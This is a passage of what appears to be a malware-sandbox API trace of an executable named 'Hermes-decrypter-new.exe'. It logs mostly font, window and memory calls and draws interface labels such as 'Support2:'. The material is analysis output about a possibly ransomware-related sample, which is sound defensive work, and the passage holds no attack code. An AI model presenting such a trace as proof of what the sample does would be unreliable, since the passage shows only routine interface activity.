(lpModuleName="comctl32.dll") returned 0x6ff00000 [0147.826] AdjustWindowRectEx (in: lpRect=0x19e048, dwStyle=0x5600000d, bMenu=0, dwExStyle=0x0 | out: lpRect=0x19e048) returned 1 [0147.826] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x6ff00000 [0147.826] AdjustWindowRectEx (in: lpRect=0x19dfa8, dwStyle=0x5600000d, bMenu=0, dwExStyle=0x0 | out: lpRect=0x19dfa8) returned 1 [0147.826] GdipGetFamilyName (in: family=0x57f8ad8, name=0x19df70, language=0x409 | out: name="Microsoft Sans Serif") returned 0x0 [0147.826] GetDeviceCaps (hdc=0x8e0106dd, index=90) returned 96 [0147.827] CoTaskMemAlloc (cb=0x5c) returned 0xeeafb8 [0147.827] CreateFontIndirectW (lplf=0xeeafb8) returned 0x310a070f [0147.827] CoTaskMemFree (pv=0xeeafb8) [0147.827] GetObjectW (in: h=0x310a070f, c=92, pv=0x19df34 | out: pv=0x19df34) returned 92 [0147.827] SelectObject (hdc=0x8e0106dd, h=0x310a070f) returned 0x350a071a [0147.827] DeleteObject (ho=0x350a071a) returned 1 [0147.827] GetTextExtentPoint32W (in: hdc=0x8e0106dd, lpString="0", c=1, psizl=0x2f9278c | out: psizl=0x2f9278c) returned 1 [0147.828] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x6ff00000 [0147.828] AdjustWindowRectEx (in: lpRect=0x19e080, dwStyle=0x5600000d, bMenu=0, dwExStyle=0x0 | out: lpRect=0x19e080) returned 1 [0147.828] GdipCreateFontFamilyFromName (name="Arial Black", fontCollection=0x0, fontFamily=0x19e158) returned 0x0 [0147.828] GdipCreateFont (fontFamily=0x57f2240, emSize=0x41900000, style=1, unit=0x3, font=0x2f92840) returned 0x0 [0147.828] GdipGetFontSize (font=0x690f480, size=0x2f92844) returned 0x0 [0147.828] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x6ff00000 [0147.828] AdjustWindowRectEx (in: lpRect=0x19df60, dwStyle=0x5600000d, bMenu=0, dwExStyle=0x0 | out: lpRect=0x19df60) returned 1 [0147.828] GdipGetFamilyName (in: family=0x57f2240, name=0x19df28, language=0x409 | out: name="Arial Black") returned 0x0 [0147.828] GetDeviceCaps (hdc=0x8e0106dd, index=90) returned 96 [0147.828] CoTaskMemAlloc (cb=0x5c) returned 0xeeac78 [0147.828] CreateFontIndirectW (lplf=0xeeac78) returned 0x360a071a [0147.828] CoTaskMemFree (pv=0xeeac78) [0147.828] GetObjectW (in: h=0x360a071a, c=92, pv=0x19deec | out: pv=0x19deec) returned 92 [0147.829] SelectObject (hdc=0x8e0106dd, h=0x360a071a) returned 0x310a070f [0147.829] DeleteObject (ho=0x310a070f) returned 1 [0147.829] GetTextExtentPoint32W (in: hdc=0x8e0106dd, lpString="0", c=1, psizl=0x2f92b18 | out: psizl=0x2f92b18) returned 1 [0147.829] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x6ff00000 [0147.829] AdjustWindowRectEx (in: lpRect=0x19e038, dwStyle=0x5600000d, bMenu=0, dwExStyle=0x0 | out: lpRect=0x19e038) returned 1 [0147.830] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x6ff00000 [0147.830] AdjustWindowRectEx (in: lpRect=0x19df90, dwStyle=0x5600000d, bMenu=0, dwExStyle=0x0 | out: lpRect=0x19df90) returned 1 [0147.830] GdipGetFamilyName (in: family=0x57f2240, name=0x19df58, language=0x409 | out: name="Arial Black") returned 0x0 [0147.830] GetDeviceCaps (hdc=0x8e0106dd, index=90) returned 96 [0147.830] CoTaskMemAlloc (cb=0x5c) returned 0xeeb0f0 [0147.830] CreateFontIndirectW (lplf=0xeeb0f0) returned 0x320a070f [0147.830] CoTaskMemFree (pv=0xeeb0f0) [0147.830] GetObjectW (in: h=0x320a070f, c=92, pv=0x19df1c | out: pv=0x19df1c) returned 92 [0147.830] GetTextExtentPoint32W (in: hdc=0x8e0106dd, lpString="0", c=1, psizl=0x2f92d34 | out: psizl=0x2f92d34) returned 1 [0147.830] DeleteObject (ho=0x320a070f) returned 1 [0147.830] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x6ff00000 [0147.830] AdjustWindowRectEx (in: lpRect=0x19e0c8, dwStyle=0x5600000d, bMenu=0, dwExStyle=0x0 | out: lpRect=0x19e0c8) returned 1 [0147.831] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x6ff00000 [0147.831] AdjustWindowRectEx (in: lpRect=0x19df90, dwStyle=0x5600000d, bMenu=0, dwExStyle=0x0 | out: lpRect=0x19df90) returned 1 [0147.831] GdipGetFamilyName (in: family=0x57f2240, name=0x19df58, language=0x409 | out: name="Arial Black") returned 0x0 [0147.831] GetDeviceCaps (hdc=0x8e0106dd, index=90) returned 96 [0147.831] CoTaskMemAlloc (cb=0x5c) returned 0xeeac78 [0147.831] CreateFontIndirectW (lplf=0xeeac78) returned 0x330a070f [0147.831] CoTaskMemFree (pv=0xeeac78) [0147.831] GetObjectW (in: h=0x330a070f, c=92, pv=0x19df1c | out: pv=0x19df1c) returned 92 [0147.831] GetTextExtentPoint32W (in: hdc=0x8e0106dd, lpString="0", c=1, psizl=0x2f92f74 | out: psizl=0x2f92f74) returned 1 [0147.831] DeleteObject (ho=0x330a070f) returned 1 [0147.831] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x6ff00000 [0147.831] AdjustWindowRectEx (in: lpRect=0x19df70, dwStyle=0x5600000d, bMenu=0, dwExStyle=0x0 | out: lpRect=0x19df70) returned 1 [0147.831] DrawTextExW (in: hdc=0x8e0106dd, lpchText="Helloy - ", cchText=9, lprc=0x19df5c, format=0x2400, lpdtp=0x2f93020 | out: lpchText="Helloy - ", lprc=0x19df5c) returned 33 [0147.832] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x6ff00000 [0147.832] AdjustWindowRectEx (in: lpRect=0x19e048, dwStyle=0x5600000d, bMenu=0, dwExStyle=0x0 | out: lpRect=0x19e048) returned 1 [0147.832] CoTaskMemAlloc (cb=0x12) returned 0xf0d250 [0147.966] CoTaskMemAlloc (cb=0x12) returned 0xf0d030 [0148.057] CoTaskMemAlloc (cb=0xe) returned 0xef8068 [0148.620] CoTaskMemAlloc (cb=0x12) returned 0xf0d0f0 [0148.622] CoTaskMemAlloc (cb=0xb) returned 0xef8080 [0148.623] CoTaskMemAlloc (cb=0x12) returned 0xf0d070 [0148.625] CoTaskMemAlloc (cb=0x12) returned 0xf0d270 [0148.627] CoTaskMemAlloc (cb=0x12) returned 0xf0d290 [0148.630] GetFullPathNameW (in: lpFileName="C:\\FD1HVy\\Hermes-decrypter-new.exe.config", nBufferLength=0x105, lpBuffer=0x19d9fc, lpFilePart=0x0 | out: lpBuffer="C:\\FD1HVy\\Hermes-decrypter-new.exe.config", lpFilePart=0x0) returned 0x29 [0148.630] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x19deb8) returned 1 [0148.630] GetFileAttributesExW (in: lpFileName="C:\\FD1HVy\\Hermes-decrypter-new.exe.config" (normalized: "c:\\fd1hvy\\hermes-decrypter-new.exe.config"), fInfoLevelId=0x0, lpFileInformation=0x19df34 | out: lpFileInformation=0x19df34*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0 [0148.630] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x19deb4) returned 1 [0149.230] CoTaskMemAlloc (cb=0xc) returned 0xef8380 [0149.230] CoTaskMemAlloc (cb=0x13) returned 0xf0cf50 [0149.231] CoTaskMemAlloc (cb=0x27) returned 0xeea330 [0149.231] CoTaskMemAlloc (cb=0x13) returned 0xf0cfd0 [0149.231] CoTaskMemAlloc (cb=0xd) returned 0xef8410 [0149.231] CoTaskMemAlloc (cb=0x17) returned 0xf0d230 [0149.232] CoTaskMemAlloc (cb=0x4e) returned 0xed5480 [0149.232] CoTaskMemAlloc (cb=0xf) returned 0xef82f0 [0149.232] CoTaskMemAlloc (cb=0x43) returned 0xf28138 [0149.233] CoTaskMemAlloc (cb=0xb) returned 0xef8428 [0149.233] CoTaskMemAlloc (cb=0x12) returned 0xf0cfb0 [0149.233] CoTaskMemAlloc (cb=0x2b) returned 0xeff6d8 [0149.234] CoTaskMemAlloc (cb=0x17) returned 0xf0cf10 [0149.234] CoTaskMemAlloc (cb=0x396) returned 0xf0fc48 [0149.236] CoTaskMemAlloc (cb=0x89) returned 0xf279d0 [0149.236] CoTaskMemAlloc (cb=0x13) returned 0xf0d0b0 [0149.236] CoTaskMemAlloc (cb=0x75) returned 0xeeca58 [0149.237] CoTaskMemAlloc (cb=0x1c) returned 0xf0ecb0 [0149.238] CoTaskMemAlloc (cb=0x4a) returned 0xed5638 [0149.239] CoTaskMemAlloc (cb=0xf) returned 0xef83e0 [0149.239] CoTaskMemAlloc (cb=0xf) returned 0xef8320 [0149.240] CoTaskMemAlloc (cb=0x16) returned 0xf0cf90 [0149.344] GdipLoadImageFromStream (stream=0x2a2ff90, image=0x19db90) returned 0x0 [0150.405] GetCurrentProcess () returned 0xffffffff [0150.406] GetCurrentProcess () returned 0xffffffff [0150.406] GetCurrentProcess () returned 0xffffffff [0150.408] GetCurrentProcess () returned 0xffffffff [0150.409] GetCurrentProcess () returned 0xffffffff [0151.871] GetCurrentProcess () returned 0xffffffff [0151.872] GetCurrentProcess () returned 0xffffffff [0151.978] GdipImageForceValidation (image=0x690f4a8) returned 0x0 [0151.981] GdipGetImageType (image=0x690f4a8, type=0x19db8c) returned 0x0 [0151.981] GdipGetImageRawFormat (image=0x690f4a8, format=0x19db00*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0))) returned 0x0 [0151.982] CoTaskMemAlloc (cb=0x12) returned 0xf0d190 [0151.984] AdjustWindowRectEx (in: lpRect=0x19e0f4, dwStyle=0x5e01000b, bMenu=0, dwExStyle=0x0 | out: lpRect=0x19e0f4) returned 1 [0151.992] CoTaskMemAlloc (cb=0x12) returned 0xf0d110 [0151.996] AdjustWindowRectEx (in: lpRect=0x19e0f4, dwStyle=0x5e01000b, bMenu=0, dwExStyle=0x0 | out: lpRect=0x19e0f4) returned 1 [0151.996] CoTaskMemAlloc (cb=0x12) returned 0xf0d2d0 [0151.999] CoTaskMemAlloc (cb=0x12) returned 0xf0d0d0 [0152.001] CoTaskMemAlloc (cb=0x12) returned 0xf0d1b0 [0152.003] GdipCreateFontFamilyFromName (name="Palatino Linotype", fontCollection=0x0, fontFamily=0x19e158) returned 0x0 [0152.003] GdipCreateFont (fontFamily=0x57faee0, emSize=0x411c0000, style=3, unit=0x3, font=0x2fabdc8) returned 0x0 [0152.003] GdipGetFontSize (font=0x69114b8, size=0x2fabdcc) returned 0x0 [0152.004] GetDC (hWnd=0x0) returned 0x1b010670 [0152.004] GdipCreateFromHDC (hdc=0x1b010670, graphics=0x19e02c) returned 0x0 [0152.004] GdipGetFontHeight (font=0x69114b8, graphics=0x69114e0, height=0x19e024) returned 0x0 [0152.004] GdipDeleteGraphics (graphics=0x69114e0) returned 0x0 [0152.004] ReleaseDC (hWnd=0x0, hDC=0x1b010670) returned 1 [0152.004] GetSystemMetrics (nIndex=5) returned 1 [0152.004] GetSystemMetrics (nIndex=6) returned 1 [0152.004] GetSystemMetrics (nIndex=5) returned 1 [0152.004] GetSystemMetrics (nIndex=6) returned 1 [0152.005] AdjustWindowRectEx (in: lpRect=0x19e00c, dwStyle=0x560100c0, bMenu=0, dwExStyle=0x200 | out: lpRect=0x19e00c) returned 1 [0152.005] GetSystemMetrics (nIndex=5) returned 1 [0152.005] GetSystemMetrics (nIndex=6) returned 1 [0152.005] GetSystemMetrics (nIndex=5) returned 1 [0152.005] GetSystemMetrics (nIndex=6) returned 1 [0152.005] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x6ff00000 [0152.005] AdjustWindowRectEx (in: lpRect=0x19e00c, dwStyle=0x560100c0, bMenu=0, dwExStyle=0x200 | out: lpRect=0x19e00c) returned 1 [0152.005] GetSystemMetrics (nIndex=5) returned 1 [0152.005] GetSystemMetrics (nIndex=6) returned 1 [0152.005] GetSystemMetrics (nIndex=5) returned 1 [0152.006] GetSystemMetrics (nIndex=6) returned 1 [0152.006] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x6ff00000 [0152.006] AdjustWindowRectEx (in: lpRect=0x19e00c, dwStyle=0x560100c0, bMenu=0, dwExStyle=0x200 | out: lpRect=0x19e00c) returned 1 [0152.006] GetSystemMetrics (nIndex=5) returned 1 [0152.006] GetSystemMetrics (nIndex=6) returned 1 [0152.006] GetSystemMetrics (nIndex=5) returned 1 [0152.006] GetSystemMetrics (nIndex=6) returned 1 [0152.006] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x6ff00000 [0152.006] AdjustWindowRectEx (in: lpRect=0x19e00c, dwStyle=0x560100c0, bMenu=0, dwExStyle=0x200 | out: lpRect=0x19e00c) returned 1 [0152.006] GetSystemMetrics (nIndex=5) returned 1 [0152.006] GetSystemMetrics (nIndex=6) returned 1 [0152.006] GetSystemMetrics (nIndex=5) returned 1 [0152.006] GetSystemMetrics (nIndex=6) returned 1 [0152.006] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x6ff00000 [0152.006] AdjustWindowRectEx (in: lpRect=0x19e00c, dwStyle=0x560100c0, bMenu=0, dwExStyle=0x200 | out: lpRect=0x19e00c) returned 1 [0152.006] GetSystemMetrics (nIndex=5) returned 1 [0152.007] GetSystemMetrics (nIndex=6) returned 1 [0152.007] GetSystemMetrics (nIndex=5) returned 1 [0152.007] GetSystemMetrics (nIndex=6) returned 1 [0152.007] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x6ff00000 [0152.007] AdjustWindowRectEx (in: lpRect=0x19e00c, dwStyle=0x560100c0, bMenu=0, dwExStyle=0x200 | out: lpRect=0x19e00c) returned 1 [0152.007] GetSystemMetrics (nIndex=5) returned 1 [0152.007] GetSystemMetrics (nIndex=6) returned 1 [0152.007] GetSystemMetrics (nIndex=5) returned 1 [0152.007] GetSystemMetrics (nIndex=6) returned 1 [0152.007] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x6ff00000 [0152.007] AdjustWindowRectEx (in: lpRect=0x19e00c, dwStyle=0x560100c0, bMenu=0, dwExStyle=0x200 | out: lpRect=0x19e00c) returned 1 [0152.007] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x6ff00000 [0152.007] AdjustWindowRectEx (in: lpRect=0x19e0f4, dwStyle=0x56000000, bMenu=0, dwExStyle=0x10000 | out: lpRect=0x19e0f4) returned 1 [0152.008] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x6ff00000 [0152.008] AdjustWindowRectEx (in: lpRect=0x19e0f4, dwStyle=0x56000000, bMenu=0, dwExStyle=0x10000 | out: lpRect=0x19e0f4) returned 1 [0152.008] CoTaskMemAlloc (cb=0x12) returned 0xf0d570 [0152.022] IsAppThemed () returned 0x1 [0152.022] GetThemeAppProperties () returned 0x3 [0152.022] OpenThemeData () returned 0x20002 [0152.022] GdipCreateFontFamilyFromName (name="Arial Black", fontCollection=0x0, fontFamily=0x19e158) returned 0x0 [0152.022] GdipCreateFont (fontFamily=0x57f2240, emSize=0x41400000, style=1, unit=0x3, font=0x2fac6dc) returned 0x0 [0152.022] GdipGetFontSize (font=0x69114e0, size=0x2fac6e0) returned 0x0 [0152.022] GetDC (hWnd=0x0) returned 0x1b010670 [0152.023] GdipCreateFromHDC (hdc=0x1b010670, graphics=0x19e108) returned 0x0 [0152.023] GdipGetFontHeight (font=0x69114e0, graphics=0x6911508, height=0x19e100) returned 0x0 [0152.023] GdipDeleteGraphics (graphics=0x6911508) returned 0x0 [0152.023] ReleaseDC (hWnd=0x0, hDC=0x1b010670) returned 1 [0152.023] GetDC (hWnd=0x0) returned 0x1b010670 [0152.023] GdipCreateFromHDC (hdc=0x1b010670, graphics=0x19e098) returned 0x0 [0152.023] GdipGetFontHeight (font=0x69114e0, graphics=0x6911508, height=0x19e090) returned 0x0 [0152.023] GdipDeleteGraphics (graphics=0x6911508) returned 0x0 [0152.023] ReleaseDC (hWnd=0x0, hDC=0x1b010670) returned 1 [0152.024] GetSystemMetrics (nIndex=5) returned 1 [0152.024] GetSystemMetrics (nIndex=6) returned 1 [0152.024] GetSystemMetrics (nIndex=5) returned 1 [0152.024] GetSystemMetrics (nIndex=6) returned 1 [0152.024] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x6ff00000 [0152.024] AdjustWindowRectEx (in: lpRect=0x19e05c, dwStyle=0x560100c0, bMenu=0, dwExStyle=0x200 | out: lpRect=0x19e05c) returned 1 [0152.024] GetSystemMetrics (nIndex=5) returned 1 [0152.024] GetSystemMetrics (nIndex=6) returned 1 [0152.024] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x6ff00000 [0152.024] AdjustWindowRectEx (in: lpRect=0x19e0c8, dwStyle=0x560100c0, bMenu=0, dwExStyle=0x200 | out: lpRect=0x19e0c8) returned 1 [0152.024] GetSystemMetrics (nIndex=5) returned 1 [0152.025] GetSystemMetrics (nIndex=6) returned 1 [0152.025] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x6ff00000 [0152.025] AdjustWindowRectEx (in: lpRect=0x19e0c8, dwStyle=0x560100c0, bMenu=0, dwExStyle=0x200 | out: lpRect=0x19e0c8) returned 1 [0152.025] CoTaskMemAlloc (cb=0x12) returned 0xf0d590 [0152.027] AdjustWindowRectEx (in: lpRect=0x19dfa8, dwStyle=0x5600000d, bMenu=0, dwExStyle=0x0 | out: lpRect=0x19dfa8) returned 1 [0152.027] GdipGetFamilyName (in: family=0x57faee0, name=0x19df70, language=0x409 | out: name="Palatino Linotype") returned 0x0 [0152.027] GetDeviceCaps (hdc=0x8e0106dd, index=90) returned 96 [0152.027] CoTaskMemAlloc (cb=0x5c) returned 0xeead48 [0152.027] CreateFontIndirectW (lplf=0xeead48) returned 0x840a06c6 [0152.027] CoTaskMemFree (pv=0xeead48) [0152.027] GetObjectW (in: h=0x840a06c6, c=92, pv=0x19df34 | out: pv=0x19df34) returned 92 [0152.027] SelectObject (hdc=0x8e0106dd, h=0x840a06c6) returned 0x360a071a [0152.028] DeleteObject (ho=0x360a071a) returned 1 [0152.028] GetTextExtentPoint32W (in: hdc=0x8e0106dd, lpString="0", c=1, psizl=0x2facb74 | out: psizl=0x2facb74) returned 1 [0152.043] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x6ff00000 [0152.043] AdjustWindowRectEx (in: lpRect=0x19e080, dwStyle=0x5600000d, bMenu=0, dwExStyle=0x0 | out: lpRect=0x19e080) returned 1 [0152.043] GdipCreateFontFamilyFromName (name="Arial", fontCollection=0x0, fontFamily=0x19e158) returned 0x0 [0152.044] GdipCreateFont (fontFamily=0x57f1f60, emSize=0x417c0000, style=1, unit=0x3, font=0x2facc1c) returned 0x0 [0152.095] GdipGetFontSize (font=0x6911508, size=0x2facc20) returned 0x0 [0152.095] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x6ff00000 [0152.095] AdjustWindowRectEx (in: lpRect=0x19df60, dwStyle=0x5600000d, bMenu=0, dwExStyle=0x0 | out: lpRect=0x19df60) returned 1 [0152.095] GdipGetFamilyName (in: family=0x57f1f60, name=0x19df28, language=0x409 | out: name="Arial") returned 0x0 [0152.095] GetDeviceCaps (hdc=0x8e0106dd, index=90) returned 96 [0152.095] CoTaskMemAlloc (cb=0x5c) returned 0xeeaf50 [0152.095] CreateFontIndirectW (lplf=0xeeaf50) returned 0x370a071a [0152.095] CoTaskMemFree (pv=0xeeaf50) [0152.095] GetObjectW (in: h=0x370a071a, c=92, pv=0x19deec | out: pv=0x19deec) returned 92 [0152.095] SelectObject (hdc=0x8e0106dd, h=0x370a071a) returned 0x840a06c6 [0152.095] DeleteObject (ho=0x840a06c6) returned 1 [0152.096] GetTextExtentPoint32W (in: hdc=0x8e0106dd, lpString="0", c=1, psizl=0x2faceb8 | out: psizl=0x2faceb8) returned 1 [0152.111] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x6ff00000 [0152.111] AdjustWindowRectEx (in: lpRect=0x19e038, dwStyle=0x5600000d, bMenu=0, dwExStyle=0x0 | out: lpRect=0x19e038) returned 1 [0152.111] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x6ff00000 [0152.111] AdjustWindowRectEx (in: lpRect=0x19df90, dwStyle=0x5600000d, bMenu=0, dwExStyle=0x0 | out: lpRect=0x19df90) returned 1 [0152.111] GdipGetFamilyName (in: family=0x57f1f60, name=0x19df58, language=0x409 | out: name="Arial") returned 0x0 [0152.111] GetDeviceCaps (hdc=0x8e0106dd, index=90) returned 96 [0152.111] CoTaskMemAlloc (cb=0x5c) returned 0xeeb158 [0152.111] CreateFontIndirectW (lplf=0xeeb158) returned 0x850a06c6 [0152.111] CoTaskMemFree (pv=0xeeb158) [0152.111] GetObjectW (in: h=0x850a06c6, c=92, pv=0x19df1c | out: pv=0x19df1c) returned 92 [0152.111] GetTextExtentPoint32W (in: hdc=0x8e0106dd, lpString="0", c=1, psizl=0x2fad0b0 | out: psizl=0x2fad0b0) returned 1 [0152.111] DeleteObject (ho=0x850a06c6) returned 1 [0152.112] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x6ff00000 [0152.112] AdjustWindowRectEx (in: lpRect=0x19e0c8, dwStyle=0x5600000d, bMenu=0, dwExStyle=0x0 | out: lpRect=0x19e0c8) returned 1 [0152.112] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x6ff00000 [0152.112] AdjustWindowRectEx (in: lpRect=0x19df90, dwStyle=0x5600000d, bMenu=0, dwExStyle=0x0 | out: lpRect=0x19df90) returned 1 [0152.112] GdipGetFamilyName (in: family=0x57f1f60, name=0x19df58, language=0x409 | out: name="Arial") returned 0x0 [0152.112] GetDeviceCaps (hdc=0x8e0106dd, index=90) returned 96 [0152.112] CoTaskMemAlloc (cb=0x5c) returned 0xeeae18 [0152.112] CreateFontIndirectW (lplf=0xeeae18) returned 0x860a06c6 [0152.112] CoTaskMemFree (pv=0xeeae18) [0152.112] GetObjectW (in: h=0x860a06c6, c=92, pv=0x19df1c | out: pv=0x19df1c) returned 92 [0152.112] GetTextExtentPoint32W (in: hdc=0x8e0106dd, lpString="0", c=1, psizl=0x2fad2c0 | out: psizl=0x2fad2c0) returned 1 [0152.112] DeleteObject (ho=0x860a06c6) returned 1 [0152.113] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x6ff00000 [0152.113] AdjustWindowRectEx (in: lpRect=0x19df70, dwStyle=0x5600000d, bMenu=0, dwExStyle=0x0 | out: lpRect=0x19df70) returned 1 [0152.113] GdipGetFamilyName (in: family=0x57f1f60, name=0x19de5c, language=0x409 | out: name="Arial") returned 0x0 [0152.113] GetDeviceCaps (hdc=0x8e0106dd, index=90) returned 96 [0152.113] CoTaskMemAlloc (cb=0x5c) returned 0xeeac78 [0152.113] CreateFontIndirectW (lplf=0xeeac78) returned 0x870a06c6 [0152.113] CoTaskMemFree (pv=0xeeac78) [0152.113] GetObjectW (in: h=0x870a06c6, c=92, pv=0x19de20 | out: pv=0x19de20) returned 92 [0152.113] GetMapMode (hdc=0x8e0106dd) returned 1 [0152.113] GetTextMetricsW (in: hdc=0x8e0106dd, lptm=0x19de50 | out: lptm=0x19de50) returned 1 [0152.113] DrawTextExW (in: hdc=0x8e0106dd, lpchText="Support2:", cchText=9, lprc=0x19df5c, format=0x2400, lpdtp=0x2fad4b4 | out: lpchText="Support2:", lprc=0x19df5c) returned 24 [0152.263] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x6ff00000 [0152.263] AdjustWindowRectEx (in: lpRect=0x19e048, dwStyle=0x5600000d, bMenu=0, dwExStyle=0x0 | out: lpRect=0x19e048) returned 1 [0152.263] IsAppThemed () returned 0x1 [0152.263] GetThemeAppProperties () returned 0x3 [0152.263] GetThemeAppProperties () returned 0x3 [0152.263] GdipCreateFontFamilyFromName (name="Arial Black", fontCollection=0x0, fontFamily=0x19e158) returned 0x0 [0152.263] GdipCreateFont (fontFamily=0x57f2240, emSize=0x41400000, style=1, unit=0x3, font=0x2fad698) returned 0x0 [0152.263] GdipGetFontSize (font=0x69117d0, size=0x2fad69c) returned 0x0 [0152.263] GetDC (hWnd=0x0) returned 0x1b010670 [0152.263] GdipCreateFromHDC (hdc=0x1b010670, graphics=0x19e108) returned 0x0 [0152.264] GdipGetFontHeight (font=0x69117d0, graphics=0x69117f8, height=0x19e100) returned 0x0 [0152.264] GdipDeleteGraphics (graphics=0x69117f8) returned 0x0 [0152.264] ReleaseDC (hWnd=0x0, hDC=0x1b010670) returned 1 [0152.264] GetDC (hWnd=0x0) returned 0x1b010670 [0152.264] GdipCreateFromHDC (hdc=0x1b010670, graphics=0x19e098) returned 0x0 [0152.264] GdipGetFontHeight (font=0x69117d0, graphics=0x69117f8, height=0x19e090) returned 0x0 [0152.264] GdipDeleteGraphics (graphics=0x69117f8) returned 0x0 [0152.264] ReleaseDC (hWnd=0x0, hDC=0x1b010670) returned 1 [0152.264] GetSystemMetrics (nIndex=5) returned 1 [0152.264] GetSystemMetrics (nIndex=6) returned 1 [0152.264] GetSystemMetrics (nIndex=5) returned 1 [0152.264] GetSystemMetrics (nIndex=6) returned 1 [0152.265] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x6ff00000 [0152.265] AdjustWindowRectEx (in: lpRect=0x19e05c, dwStyle=0x560100c0, bMenu=0, dwExStyle=0x200 | out: lpRect=0x19e05c) returned 1 [0152.265] GetSystemMetrics (nIndex=5) returned 1 [0152.265] GetSystemMetrics (nIndex=6) returned 1 [0152.265] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x6ff00000 [0152.265] AdjustWindowRectEx (in: lpRect=0x19e0c8, dwStyle=0x560100c0, bMenu=0, dwExStyle=0x200 | out: lpRect=0x19e0c8) returned 1 [0152.265] GetSystemMetrics (nIndex=5) returned 1 [0152.265] GetSystemMetrics (nIndex=6) returned 1 [0152.265] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x6ff00000 [0152.265] AdjustWindowRectEx (in: lpRect=0x19e0c8, dwStyle=0x560100c0, bMenu=0, dwExStyle=0x200 | out: lpRect=0x19e0c8) returned 1 [0152.266] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x6ff00000 [0152.266] AdjustWindowRectEx (in: lpRect=0x19dfa8, dwStyle=0x5600000d, bMenu=0, dwExStyle=0x0 | out: lpRect=0x19dfa8) returned 1 [0152.266] GdipGetFamilyName (in: family=0x57faee0, name=0x19df70, language=0x409 | out: name="Palatino Linotype") returned 0x0 [0152.266] GetDeviceCaps (hdc=0x8e0106dd, index=90) returned 96 [0152.266] CoTaskMemAlloc (cb=0x5c) returned 0xeeb1c0 [0152.266] CreateFontIndirectW (lplf=0xeeb1c0) returned 0x330a06de [0152.266] CoTaskMemFree (pv=0xeeb1c0) [0152.266] GetObjectW (in: h=0x330a06de, c=92, pv=0x19df34 | out: pv=0x19df34) returned 92 [0152.266] SelectObject (hdc=0x8e0106dd, h=0x330a06de) returned 0x370a071a [0152.266] DeleteObject (ho=0x370a071a) returned 1 [0152.266] GetTextExtentPoint32W (in: hdc=0x8e0106dd, lpString="0", c=1, psizl=0x2fadb54 | out: psizl=0x2fadb54) returned 1 [0152.267] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x6ff00000 [0152.267] AdjustWindowRectEx (in: lpRect=0x19e080, dwStyle=0x5600000d, bMenu=0, dwExStyle=0x0 | out: lpRect=0x19e080) returned 1 [0152.267] GdipCreateFontFamilyFromName (name="Arial", fontCollection=0x0, fontFamily=0x19e158) returned 0x0 [0152.267] GdipCreateFont (fontFamily=0x57f1f60, emSize=0x417c0000, style=1, unit=0x3, font=0x2fadbfc) returned 0x0 [0152.267] GdipGetFontSize (font=0x69117f8, size=0x2fadc00) returned 0x0 [0152.267] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x6ff00000 [0152.267] AdjustWindowRectEx (in: lpRect=0x19df60, dwStyle=0x5600000d, bMenu=0, dwExStyle=0x0 | out: lpRect=0x19df60) returned 1 [0152.267] GdipGetFamilyName (in: family=0x57f1f60, name=0x19df28, language=0x409 | out: name="Arial") returned 0x0 [0152.267] GetDeviceCaps (hdc=0x8e0106dd, index=90) returned 96 [0152.267] CoTaskMemAlloc (cb=0x5c) returned 0xeeb088 [0152.267] CreateFontIndirectW (lplf=0xeeb088) returned 0x380a071a [0152.268] CoTaskMemFree (pv=0xeeb088) [0152.268] GetObjectW (in: h=0x380a071a, c=92, pv=0x19deec | out: pv=0x19deec) returned 92 [0152.268] SelectObject (hdc=0x8e0106dd, h=0x380a071a) returned 0x330a06de [0152.268] DeleteObject (ho=0x330a06de) returned 1 [0152.268] GetTextExtentPoint32W (in: hdc=0x8e0106dd, lpString="0", c=1, psizl=0x2fade98 | out: psizl=0x2fade98) returned 1 [0152.268] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x6ff00000 [0152.268] AdjustWindowRectEx (in: lpRect=0x19e038, dwStyle=0x5600000d, bMenu=0, dwExStyle=0x0 | out: lpRect=0x19e038) returned 1 [0152.269] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x6ff00000 [0152.269] AdjustWindowRectEx (in: lpRect=0x19df90, dwStyle=0x5600000d, bMenu=0, 